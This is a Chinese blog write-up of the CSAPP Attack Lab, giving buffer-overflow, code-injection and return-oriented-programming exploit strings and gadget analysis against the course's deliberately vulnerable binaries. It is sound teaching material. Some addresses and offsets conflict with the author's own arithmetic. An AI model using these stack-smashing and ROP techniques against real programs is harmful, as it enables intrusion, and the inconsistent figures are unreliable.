深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

阅读实验手册,开始做Attacklab.

CTARGET Phase 1

第一个Attack Phase要求调用存在的函数touch1.这个简单,自需要将touch1的首地址覆盖栈中的返回地址就行。
首先使用gdb调试ctarget,反汇编出getbuf的汇编代码:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
可以发现这里分配了0x28(十进制是40)Bytes的栈帧。由于栈是低地址方向增长的,所以只要在%rsp+40的位置存入touch1的起始地址就好。通过反汇编touch1的代码,不难发现touch1的起始地址是0x4017c0:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
所以构造字符串,前40个字节随意(但是不能取0A,因为0A是换行符,ctarget程序根据换行符判定输入结束),然后后面跟上0x4017c0(注意此时要转换为小端法表示):
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
保存为phase1.txt。
输入命令判题:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
Phase1通过。

Phase 2

Phase2要求注入一小段代码,带参数调用touch2(unsigned)函数。
首先在实验手册里看到touch2需要判断一下你的cookie:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
这个cookie是程序生成的一个随机数,在启动ctarget程序时有显示。
反汇编touch2函数,发现touch2函数的首地址是0x4017ec:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
准备将代码注入到getbuf的栈帧里,实验手册已经说了ctarget的栈地址是固定的,这就方便了注入代码。在gdb调试下发现栈帧地址是0x5561dc78:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

先罗列一下已有的信息:
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
然后开始写注入的代码。写的这段代码的目的是为了带参调用touch2.

fun2:
	movl $0x59b997fa,%edi
	pushq $0x4017ec
	ret

汇编出目标文件,再使用objdump -d反汇编到phase2.txt:


phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <fun2>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq   

保留二进制部分,补全40个字节,然后在后面附加上返回到栈帧的地址,
得到文件phase2.txt:

bf fa 97 b9 59       	/* movl   $0x59b997fa,%edi */
68 ec 17 40 00 /* movq   $0x4017ec,(%rsp) */
c3                   	/* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
78 dc 61 55 00 00 00 00

输入命令判题:

深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

PS:其实将注入程序写成这样也是可以的:

fun2:
	movl $0x59b997fa,%edi
	subq $8,%rsp
	movq $0x4017ec,(%rsp)
	ret

CTARGET Phase 3

首先阅读handout文档。文档上强调了getbuf所分配的栈帧可能会被hexmatch函数和strncmp函数覆盖。所以我们选择getbuf的父栈帧,即test函数的栈帧来存放我们的字符串。反正我们又不会返回到test函数,程序在touch3函数体里就终止执行了。

我们首先由上题确定了栈帧地址为0x5561dc78,反汇编touch3函数发现touch3函数起始地址为0x4018fa,由于我们决定将字符串存放在父栈帧里,因此字符串距离我们的栈帧的起始地址有40字节的距离(由上题知道函数getbuf分配了40字节的栈帧)于是字符串的起始地址是0x5561dc78+40Bytes=0x5561dc97。

于是我们来编写注入代码:

movq    $0x5561dc97,%rdi
pushq  $0x4018fa
retq

将其汇编后,在代码和返回地址之间填充进27Bytes的占位符,在最后填上字符串的ASCII串:

48 c7 c7 a8 dc 61 55    /* movq    $0x5561dc97,%rdi */
68 fa 18 40 00          /* pushq  $0x4018fa */
c3                      /* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef /* useless bytes.total 27 bytes */
78 dc 61 55 00 00 00 00 /* Start of code area */
35 39 62 39 39 37 66 61 00 /* little endian representation of string '59b997fa' , this string will fill in function test`s stack frame */

运行程序测试,通过。
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

RTARGET Phase 2

RTARGET Phase 2 要求从已有的代码里面找到攻击所需的代码组成gadget来重复前面的CTARGET Phase 2实验。
首先在gdb ./rtarget里键入命令disas /r start_farm, mid_farm查看位于start_farm和mid_farm之间的所有指令及其编码:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录
由于上面的二进制并没有编码我所需的COOKIE值0x59b997fa,所以需要将这个值放入堆栈,再使用popq指令弹出并复制到%rdi寄存器。

观察反编译结果,需要找到一个popq指令和movq指令,因此需要分为两个Gadget,这两个指令后面都要直接跟着0xc3(retq)返回指令或者中间有0x90(nop)指令。

先来找Gadget1。popq指令的编码是0x58-0x5f,观察上图得知起始地址为0x4019cc的编码符合要求:

58 90 c3这三个16进制分别编码popq %rax、nop、retq三条指令。

再来找Gadget2。
movq指令的编码都是0x48 0x89开头的,因此很快锁定到起始地址0x4017ec。这个地址下有4个16进制:48 89 c7 c3,分别编码
movq %rax,%rdi 、retq两条指令,刚好符合要求。

大致画一下堆栈分布图:

地址 空间作用 实际内容
%rsp+32 touch2函数起始地址 0x4017ec
%rsp+24 Gadget2 起始地址 0x4019a2
%rsp+16 COOKIE值 0x59b997fa
%rsp+8 Gadget1 起始地址 0x4019cc

因此构造攻击文本如下:

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

运行程序,顺利通过:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

RTARGET Phase 3

本题跟RTARGET Phase2差不多,同样是要求用已有的代码组合起来,实现CTARGET Phase 3的功能。
首先反汇编出start_farm到end_farm的所有指令,然后根据实验手册上的图(如下图)标注出所有可能的指令:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

<start_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x0000000000401999 <start_farm+5>: c3 retq
0x000000000040199a <getval_142+0>: b8 fb 78 90 90 mov $0x909078fb,%eax
0x000000000040199f <getval_142+5>: c3 retq
0x00000000004019a0 <addval_273+0>: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <addval_273+6>: c3 retq
0x00000000004019a7 <addval_219+0>: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //58 90 c3 表示popq %rax;nop;ret
0x00000000004019ad <addval_219+6>: c3 retq
0x00000000004019ae <setval_237+0>: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
0x00000000004019b4 <setval_237+6>: c3 retq
0x00000000004019b5 <setval_424+0>: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
0x00000000004019bb <setval_424+6>: c3 retq
0x00000000004019bc <setval_470+0>: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
0x00000000004019c2 <setval_470+6>: c3 retq
0x00000000004019c3 <setval_426+0>: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //48 89 c7表示movq rdx,%rdi;89 c7表示movl edx,%edi;90表示nop
0x00000000004019c9 <setval_426+6>: c3 retq
0x00000000004019ca <getval_280+0>: b8 29 58 90 c3 mov $0xc3905829,%eax
0x00000000004019cf <getval_280+5>: c3 retq
0x00000000004019d0 <mid_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x00000000004019d5 <mid_farm+5>: c3 retq
0x00000000004019d6 <add_xy+0>: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x00000000004019da <add_xy+4>: c3 retq
0x00000000004019db <getval_481+0>: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 90表示movl %eax,%edx
0x00000000004019e0 <getval_481+5>: c3 retq
0x00000000004019e1 <setval_296+0>: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
0x00000000004019e7 <setval_296+6>: c3 retq
0x00000000004019e8 <addval_113+0>: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
0x00000000004019ee <addval_113+6>: c3 retq
0x00000000004019ef <addval_490+0>: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
0x00000000004019f5 <addval_490+6>: c3 retq
0x00000000004019f6 <getval_226+0>: b8 89 d1 48 c0 mov $0xc048d189,%eax
0x00000000004019fb <getval_226+5>: c3 retq
0x00000000004019fc <setval_384+0>: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
0x0000000000401a02 <setval_384+6>: c3 retq
0x0000000000401a03 <addval_190+0>: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax //48 89 e0表示movq %rsp,%rax
0x0000000000401a09 <addval_190+6>: c3 retq
0x0000000000401a0a <setval_276+0>: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
0x0000000000401a10 <setval_276+6>: c3 retq
0x0000000000401a11 <addval_436+0>: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce 90 90表示movl %ecx,%esi;nop;nop
0x0000000000401a17 <addval_436+6>: c3 retq
0x0000000000401a18 <getval_345+0>: b8 48 89 e0 c1 mov $0xc1e08948,%eax
0x0000000000401a1d <getval_345+5>: c3 retq
0x0000000000401a1e <addval_479+0>: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
0x0000000000401a24 <addval_479+6>: c3 retq
0x0000000000401a25 <addval_187+0>: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax //89 ce 38 c0表示movl %ecx,%esi;cmpb %al,%al;注意此时cmpb对于程序没有任何影响,在此相当于nop空操作。
0x0000000000401a2b <addval_187+6>: c3 retq
0x0000000000401a2c <setval_248+0>: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
0x0000000000401a32 <setval_248+6>: c3 retq
0x0000000000401a33 <getval_159+0>: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 38 c9表示movl %edx,%ecx;cmpb %cl,%cl(此时cmpb相当于nop)
0x0000000000401a38 <getval_159+5>: c3 retq
0x0000000000401a39 <addval_110+0>: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
0x0000000000401a3f <addval_110+6>: c3 retq
0x0000000000401a40 <addval_487+0>: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //89 c2 84 c0表示movl %eax,%edx;testb %al,%al ;注意此时testb对于程序没有任何影响,在此相当于nop空操作。
0x0000000000401a46 <addval_487+6>: c3 retq
0x0000000000401a47 <addval_201+0>: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
0x0000000000401a4d <addval_201+6>: c3 retq
0x0000000000401a4e <getval_272+0>: b8 99 d1 08 d2 mov $0xd208d199,%eax
0x0000000000401a53 <getval_272+5>: c3 retq
0x0000000000401a54 <getval_155+0>: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
0x0000000000401a59 <getval_155+5>: c3 retq
0x0000000000401a5a <setval_299+0>: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
0x0000000000401a60 <setval_299+6>: c3 retq
0x0000000000401a61 <addval_404+0>: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
0x0000000000401a67 <addval_404+6>: c3 retq
0x0000000000401a68 <getval_311+0>: b8 89 d1 08 db mov $0xdb08d189,%eax
0x0000000000401a6d <getval_311+5>: c3 retq
0x0000000000401a6e <setval_167+0>: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
0x0000000000401a74 <setval_167+6>: c3 retq
0x0000000000401a75 <setval_328+0>: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
0x0000000000401a7b <setval_328+6>: c3 retq
0x0000000000401a7c <setval_450+0>: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
0x0000000000401a82 <setval_450+6>: c3 retq
0x0000000000401a83 <addval_358+0>: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
0x0000000000401a89 <addval_358+6>: c3 retq
0x0000000000401a8a <addval_124+0>: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
0x0000000000401a90 <addval_124+6>: c3 retq
0x0000000000401a91 <getval_169+0>: b8 88 ce 20 c0 mov $0xc020ce88,%eax
0x0000000000401a96 <getval_169+5>: c3 retq
0x0000000000401a97 <setval_181+0>: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
0x0000000000401a9d <setval_181+6>: c3 retq
0x0000000000401a9e <addval_184+0>: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
0x0000000000401aa4 <addval_184+6>: c3 retq
0x0000000000401aa5 <getval_472+0>: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
0x0000000000401aaa <getval_472+5>: c3 retq
0x0000000000401aab <setval_350+0>: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
0x0000000000401ab1 <setval_350+6>: c3 retq

然后就可以大致定下攻击方案:将字符串放在栈里,为了能够找到字符串的位置,需要将栈顶的位置取出来,加上栈内字符串位置的偏移,形成字符串地址,方案大致如下(A–>B 表示将A赋值给B)
%rsp–>%rax–>%rdi (获取栈顶基址)
popq %rax;%eax–>%edx–>%ecx–>%esi (获取字符串地址偏移)
%rdi+%rsi–>%rax–>%rdi (基址+偏移得到字符串地址并作为参数传递)

栈的分布如下:(地址空间向上增长)

类型 内容
实际字符串 字符串内容
函数地址 touch3函数起始地址
Gadget %rax–>%rdi
Gadget %rdi+%rsi–>%rax
Gadget %ecx–>%esi
Gadget %edx–>%ecx
Gadget %eax–>%edx
偏移值 字符串偏移值
Gadget popq %rax
Gadget %rax–>%rdt
Gadget %rsp–>rax

最后需要计算字符串偏移值。注意到执行第一个Gadget%rsp-->rax时,rsp实际上指向第二个Gadget起始地址,所以字符串的偏移值应该是9x8Byte=72Byte,即十六进制值0x48。

构造攻击字符串如下:(前40个ef是填充buf用,后面是栈内对应的内容(Gadget为对应的地址)的倒序排列)

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

只用了8个Gadget,完美。

运行程序,通过测试:
深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录 一只巴扎黑 发布了17 篇原创文章 · 获赞 2 · 访问量 7103 私信 关注
上一篇:CSAPP-bomblab


下一篇:CSAPP读前读后感:关于技术成长的一些思考